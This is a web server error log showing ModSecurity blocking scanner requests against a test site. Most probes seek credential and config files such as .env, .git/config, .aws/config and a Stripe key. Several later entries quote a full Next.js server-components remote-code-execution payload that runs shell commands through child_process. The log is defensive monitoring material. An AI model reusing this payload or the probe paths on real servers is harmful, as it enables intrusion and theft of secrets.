[Tue Dec 09 02:41:58.590713 2025] [:error] [pid 616407] [client 45.148.10.247:37156] [client 45.148.10.247] ModSecurity: Warning. Matched phrase ".travis.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "aTd-Zk5j40haolybfaLXBwAAAAk"]
[Tue Dec 09 02:41:58.590947 2025] [:error] [pid 616407] [client 45.148.10.247:37156] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "aTd-Zk5j40haolybfaLXBwAAAAk"]
[Tue Dec 09 02:41:58.591146 2025] [:error] [pid 616407] [client 45.148.10.247:37156] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.travis.yml"] [unique_id "aTd-Zk5j40haolybfaLXBwAAAAk"]
[Tue Dec 09 02:42:03.334869 2025] [:error] [pid 616392] [client 45.148.10.247:37176] [client 45.148.10.247] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aTd-a5Q8gyJDOdOwUBD8XQAAAAY"]
[Tue Dec 09 02:42:03.335122 2025] [:error] [pid 616392] [client 45.148.10.247:37176] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aTd-a5Q8gyJDOdOwUBD8XQAAAAY"]
[Tue Dec 09 02:42:03.335405 2025] [:error] [pid 616392] [client 45.148.10.247:37176] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aTd-a5Q8gyJDOdOwUBD8XQAAAAY"]
[Tue Dec 09 02:42:08.402236 2025] [authz_core:error] [pid 614289] [client 45.148.10.247:41780] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/Services
[Tue Dec 09 02:42:08.498092 2025] [authz_core:error] [pid 614288] [client 45.148.10.247:41796] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/Http
[Tue Dec 09 02:42:08.631469 2025] [:error] [pid 614580] [client 45.148.10.247:41812] [client 45.148.10.247] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/app/keys/stripe.key"] [unique_id "aTd-cN68QZ2WsgT79jeZLQAAAAE"]
[Tue Dec 09 02:42:08.631776 2025] [:error] [pid 614580] [client 45.148.10.247:41812] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/app/keys/stripe.key"] [unique_id "aTd-cN68QZ2WsgT79jeZLQAAAAE"]
[Tue Dec 09 02:42:08.631951 2025] [:error] [pid 614580] [client 45.148.10.247:41812] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/app/keys/stripe.key"] [unique_id "aTd-cN68QZ2WsgT79jeZLQAAAAE"]
[Tue Dec 09 02:42:08.656215 2025] [authz_core:error] [pid 614580] [client 45.148.10.247:41812] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Tue Dec 09 02:42:08.677811 2025] [authz_core:error] [pid 614580] [client 45.148.10.247:41812] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Tue Dec 09 02:42:09.884291 2025] [authz_core:error] [pid 614290] [client 45.148.10.247:41818] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/settings_stripe.py
[Tue Dec 09 02:42:16.330718 2025] [:error] [pid 614579] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aTd-eHGXuKDmYb-TfDYI-QAAAAA"]
[Tue Dec 09 02:42:16.330950 2025] [:error] [pid 614579] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aTd-eHGXuKDmYb-TfDYI-QAAAAA"]
[Tue Dec 09 02:42:16.331124 2025] [:error] [pid 614579] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aTd-eHGXuKDmYb-TfDYI-QAAAAA"]
[Tue Dec 09 22:13:45.512291 2025] [:error] [pid 627083] [client 45.148.10.154:49024] [client 45.148.10.154] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTiRCYFBKoAoAjUdsCXsnQAAAAA"]
[Tue Dec 09 22:13:45.512569 2025] [:error] [pid 627083] [client 45.148.10.154:49024] [client 45.148.10.154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTiRCYFBKoAoAjUdsCXsnQAAAAA"]
[Tue Dec 09 22:13:45.513318 2025] [:error] [pid 627083] [client 45.148.10.154:49024] [client 45.148.10.154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTiRCYFBKoAoAjUdsCXsnQAAAAA"]
[Wed Dec 10 15:41:25.416824 2025] [authz_core:error] [pid 637203] [client 64.226.65.160:48254] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Dec 10 15:41:28.085693 2025] [:error] [pid 636936] [client 64.226.65.160:48272] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTmGmCj7S3f8o0DuYfxzmAAAAAE"]
[Wed Dec 10 15:41:28.085935 2025] [:error] [pid 636936] [client 64.226.65.160:48272] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTmGmCj7S3f8o0DuYfxzmAAAAAE"]
[Wed Dec 10 15:41:28.086097 2025] [:error] [pid 636936] [client 64.226.65.160:48272] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTmGmCj7S3f8o0DuYfxzmAAAAAE"]
[Wed Dec 10 15:41:29.085349 2025] [:error] [pid 642280] [client 64.226.65.160:48288] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTmGmRSjobP9P3N0Egkb_gAAAAk"]
[Wed Dec 10 15:41:29.085613 2025] [:error] [pid 642280] [client 64.226.65.160:48288] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTmGmRSjobP9P3N0Egkb_gAAAAk"]
[Wed Dec 10 15:41:29.085791 2025] [:error] [pid 642280] [client 64.226.65.160:48288] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTmGmRSjobP9P3N0Egkb_gAAAAk"]
[Wed Dec 10 15:41:31.170073 2025] [:error] [pid 637203] [client 64.226.65.160:37372] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTmGmzXuWi0ZC6S9l0nhWQAAAAg"]
[Wed Dec 10 15:41:31.170316 2025] [:error] [pid 637203] [client 64.226.65.160:37372] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTmGmzXuWi0ZC6S9l0nhWQAAAAg"]
[Wed Dec 10 15:41:31.170544 2025] [:error] [pid 637203] [client 64.226.65.160:37372] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTmGmzXuWi0ZC6S9l0nhWQAAAAg"]
[Wed Dec 10 22:31:19.804697 2025] [:error] [pid 637203] [client 34.245.192.1:45408] [client 34.245.192.1] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aTnmpzXuWi0ZC6S9l0nhmwAAAAg"]
[Wed Dec 10 22:31:19.805270 2025] [:error] [pid 637203] [client 34.245.192.1:45408] [client 34.245.192.1] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aTnmpzXuWi0ZC6S9l0nhmwAAAAg"]
[Wed Dec 10 22:31:19.806260 2025] [:error] [pid 637203] [client 34.245.192.1:45408] [client 34.245.192.1] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aTnmpzXuWi0ZC6S9l0nhmwAAAAg"]
[Wed Dec 10 22:31:19.806464 2025] [:error] [pid 637203] [client 34.245.192.1:45408] [client 34.245.192.1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aTnmpzXuWi0ZC6S9l0nhmwAAAAg"]
[Thu Dec 11 12:49:02.628375 2025] [:error] [pid 664038] [client 34.245.86.112:43548] [client 34.245.86.112] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aTqvriHymMccKT7P_VzvtQAAAAg"]
[Thu Dec 11 12:49:02.628893 2025] [:error] [pid 664038] [client 34.245.86.112:43548] [client 34.245.86.112] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aTqvriHymMccKT7P_VzvtQAAAAg"]
[Thu Dec 11 12:49:02.629891 2025] [:error] [pid 664038] [client 34.245.86.112:43548] [client 34.245.86.112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aTqvriHymMccKT7P_VzvtQAAAAg"]
[Thu Dec 11 12:49:02.630076 2025] [:error] [pid 664038] [client 34.245.86.112:43548] [client 34.245.86.112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aTqvriHymMccKT7P_VzvtQAAAAg"]
[Thu Dec 11 21:05:09.467616 2025] [:error] [pid 661873] [client 157.173.118.27:47192] [client 157.173.118.27] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(id).tostring().trim().replace(/n/g | ) throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aTsj9bhRgKmcuSBY7TbC2AAAAAY"]
[Thu Dec 11 21:05:09.469090 2025] [:error] [pid 661873] [client 157.173.118.27:47192] [client 157.173.118.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aTsj9bhRgKmcuSBY7TbC2AAAAAY"]
